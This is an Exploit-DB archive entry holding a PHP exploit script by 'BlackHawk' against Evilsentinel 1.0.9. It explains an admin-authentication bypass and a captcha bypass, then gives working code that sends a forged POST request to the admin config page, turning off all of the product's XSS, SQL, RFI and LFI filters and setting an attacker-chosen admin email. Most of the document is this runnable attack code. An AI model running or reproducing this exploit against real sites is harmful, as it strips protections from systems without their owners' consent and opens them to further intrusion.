Exploit-DB #4884
Description: Evilsentinel 1.0.9 - Multiple Vulnerabilities Disable
Type: webapps
Platform: php
Date: 2008-01-10
Author: BlackHawk

Exploit:
#!/usr/bin/php -q -d short_open_tag=on
<?
echo '
Evilsentinel <= 1.0.9 Disable Exploit
by BlackHawk <hawkgotyou@gmail.com> <http://itablackhawk.altervista.org>
Thanks to rgod for the php code and Marty for the Love

';
if ($argc<3) {
echo "Usage: php ".$argv[0]." Host Path [new_mail]
Host:          target server (ip/hostname)
Path:          path of Evilsentinel
new_mail:      optional, specify a new admin mail

Example:
php ".$argv[0]." localhost / ";

die;
}

/*
Vendor site: http://evilsentinel.altervista.org

Explanation:

I've done a quick research on this platform.. just pen-tested it, not tested..
I have found some problems that affect this script:

1 - Admin bypass:

admin/index.php, line 13:

if( !es_islogged() ){
        header( "Location: login.php" );
}

really need an explanation? 0_o

2 - captcha bypass

admin/config.php, line 40:

if( $_POST['es_security_captcha'] == $_SESSION["es_security_captcha"] )

simply do not call the file captcha.php, and do not set a post variable named 'es_security_captcha' to bypass

3 - spamming/anon mailing (not tested)

while into the ACP you can set a new mail for the admin.. putting the mail you want and attacking the site
with special forged HTTP_USER_AGENT headers you can send a mail with (also) the text you want

BlackHawk <hawkgotyou@gmail.com>
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
        $c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
        }
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
if (isset($argv[3]))
{
$mail=$argv[3];
}
else
{
$mail = 'someone@somwhat.somewhere';
}
$port=80;
$proxy="";

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}


echo "Deactivating the system..\r\n";
$data="get_filter=0&post_filter=0&cookie_filter=0&xss_filter=0&rfi_filter=0&lfi_filter=0&sql_filter=0&email_notify=1&notify_email=$mail&referer_filter=0&referer_trigger=&ex_list=&ip_tracking=0&confirm=obviously";
$packet="POST ".$p."admin/index.php?action=config HTTP/1.0\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: $host\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;

sendpacketii($packet);


echo "Evilsentinel is off\r\n";
?>

# milw0rm.com [2008-01-10]